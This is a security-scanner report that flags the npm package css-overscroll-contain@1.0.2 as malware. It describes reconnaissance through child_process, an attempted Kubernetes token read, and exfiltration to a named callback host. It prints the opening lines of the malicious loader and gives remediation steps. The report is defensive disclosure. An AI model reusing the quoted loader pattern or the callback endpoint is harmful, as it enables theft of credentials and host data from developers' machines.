css-overscroll-contain@1.0.2
CSS overscroll-behavior containment polyfill
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe package contains active reconnaissance and outbound data transmission, including an attempted Kubernetes token read. The declared main entrypoint is empty, but the registry manifest maps multiple bundle names to the malicious module, establishing an activation path.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
A consumer loads thunderboltRegistry.js, including through one of the registry names mapped in registry-manifest.min.json.
Impact
Host details and accessible environment or service-account data may be disclosed to the callback host.
Mechanism
The module runs shell commands through child_process, collects command output, and sends it in callback requests.
Attack narrative
When the registry bundle is loaded, it runs host-inspection commands and sends their results to an external callback. The source also attempts to read a Kubernetes service-account token. The manifest maps several registry bundle names to this file, so consumers loading those names can activate the behavior.
AI rationale
The package contains active reconnaissance and outbound data transmission, including an attempted Kubernetes token read. The declared main entrypoint is empty, but the registry manifest maps multiple bundle names to the malicious module, establishing an activation path.
Evidence
registry-manifest.min.jsonthunderboltRegistry.js
Network endpoints1
dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package manifest maps multiple registry bundle names to its thunderboltRegistry.js file.
- Loading thunderboltRegistry.js immediately attempts to obtain child_process and defines a callback host.
- The module runs shell commands to inspect the environment and sends collected results to the callback host.
- The source reads a Kubernetes service-account token and sends it with the other collected data.
Evidence against
- The declared main entrypoint is index.js; it exports an empty object.
Behavioral surface
ChildProcessNetworkShell
HighEntropyStringsUrlStrings
Source & flagged code
7 flagged · loading sourcethunderboltRegistry.jsView file
•matchType = normalized_sha256
matchedPackage = util-foriepft@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:dXRpbC1mb3JpZXBmdA:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
thunderboltRegistry.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = 695d3e5739ca0025
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = util-foriepft@1.0.0
matchedPath = thunderboltRegistry.js
matchedIdentity = npm:dXRpbC1mb3JpZXBmdA:1.0.0
similarity = 1.000
shingleOverlap = 1
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
thunderboltRegistry.jsView on unpkg1(function(){
var wh = "https://dxpoc.gt.tc/callback.[redacted]";
var cp = null;
try { cp = require("child_process"); } catch(e) {}
try { if (!cp) cp = require("node:child_process"); } catch(e) {}
try { if
Findings
7 High1 Medium2 Low
HighKnown Malware Source SimilaritythunderboltRegistry.js
HighKnown Malware Source Fingerprint SignaturethunderboltRegistry.js
HighAi Review Evidenceregistry-manifest.min.json
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review Evidencepackage.json
MediumNetwork
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to css-overscroll-contain@1.0.2.
See all versions of css-overscroll-contain for other recorded verdicts.
- Avoid installing css-overscroll-contain@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
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